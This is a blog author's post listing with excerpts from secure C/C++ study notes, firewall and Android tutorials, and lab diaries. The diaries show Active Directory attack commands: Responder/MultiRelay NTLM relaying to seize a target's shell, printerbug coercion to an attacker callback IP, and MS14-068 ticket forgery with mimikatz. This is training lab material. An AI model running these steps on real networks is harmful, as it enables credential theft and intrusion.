- 博客(14)
- 收藏
- 关注
原创 C和C++安全编程期末速成-6.并发
并发:任务交替进行,看起来像“同时”运行并行:任务真正同时运行,需要多个CPU或核心✅所有并行程序都是并发的❌所有并发程序都是并行的并发可以通过时间分片模拟“同时”,而并行则是物理上的真正“同时”并发执行:程序被划分为两个或多个可并发执行的线程(在多核 CPU 上是真并行,在单核 CPU 上是时间片轮转模拟并发)共享内存空间:同一个进程内的多个线程共享代码段、数据段和堆区创建与销毁开销小、通信方便即使只有1个CPU,线程也可以“伪并行”
2025-06-10 11:06:26
913
原创 C和C++安全编程期末速成-5.整数安全
围绕整数安全展开,先介绍整数安全论概念,接着讲解整数类型(含无符号、回绕、有符号整数及字符类型 ),再阐述整数操作(赋值、加减乘除、移位等 ),随后分析整数漏洞(下溢、乘法溢出、范围检查问题 ),最后给出缓解策略(数据抽象增强类型安全、整数溢出处理 ),系统梳理整数安全相关知识体系。
2025-06-09 23:13:43
781
原创 C和C++安全编程期末速成-4.动态内存管理
1.数组长度为负数 (new int[-1])// ❌错误,数组长度不能为负数2. 对象的生命周期对象的生命周期从构造函数完成时开始,到析构函数完成时结束当调用析构函数时,对象的生命周期结束,对象内部的资源会被释放(例如 std::string 会释放其内部的动态内存)但是,对象本身占用的内存并没有被释放,这块内存仍然存在!只是对象的状态不再有效3. 内存的分配与释放内存的分配(例如通过 operator new)和释放(例如通过 operator delete)是独立于对象生命周期的操作。
2025-06-09 17:14:49
1083
原创 C与C++安全编程期末速成-3.指针诡针
函数指针的覆写可以在任何内存段中发生;这是一个函数指针声明,声明了一个 静态函数指针变量,名字为 funcPtrvoid 表示函数指针指向的函数返回值类型为 void(*funcPtr) 表示 funcPtr 是一个指针(const char *str) 表示函数指针指向的函数接受一个 const char * 类型的参数funcPtr 是一个函数指针变量,类型是 void (*)(const char *),变量值是函数good_function的地址,调用函数用(*funcPtr。
2025-06-09 00:29:52
618
原创 华为eNSP防火墙配置安全策略1
FW1]display firewall session table(显示会话信息)[FW1]display firewall session table verbose(看详细内容)
2025-05-23 08:00:00
2277
原创 奇安信实训日记5
解决:sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg。然后输入:python3 /usr/share/responder/tools/MultiRelay.py -t 192.168.10.133 -u ALL。cd /usr/share/responder/tools/(进到MultiRelay.py的目录)偷取目标主机的cmd界面。
2025-05-14 22:05:46
520
原创 奇安信实训日记4
python3 printerbug.py test.com/krbuser@192.168.10.133(攻击对象,必须要具有打印机服务) 192.168.10.128(回链IP,kali)responder -i 192.168.10.128(kali的IP) -I(大写的i) ALL -v。在cmd输入命令:\\kali的ip\随便输几个字母。wireshark抓包:过滤:smb || smb2。responder -I eth0 -wrf 或。执行完后,在kali的监听可以看到以下信息。
2025-05-13 17:04:01
406
原创 奇安信实训日记2
5.生成票据,并把它改名为14068,然后在win10上解压好x64(需要关闭防火墙,不然会被删掉),把14068放进去。可以在wireshark里看到pac显示False(wireshark操作方式)并按下图操作,解密要勾选rc4hmac,导出票据自己注意一下是哪个,等会要用。在kali中输入python2 pac.py,得到kbs.pac。将kbs.pac发送到win10上,并进行以下操作。第二个是mimikatz(在win10上运行)6.打开x64,在搜索栏输入cmd,回车。
2025-05-11 08:00:00
816
原创 安卓开发-框架设计-类微信页面
往列表里面传入数据,先要创建数据源,在Fragment1.java里创建list列表进行数据存储。Adapter_fragment1中的holder用于绑定视图。1.实现消息列表向左滑动删除。2.点击联系人进入详情页面。3.点击返回按钮回到主界面。1.需要以下xml文件。
2024-11-17 15:12:02
184
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅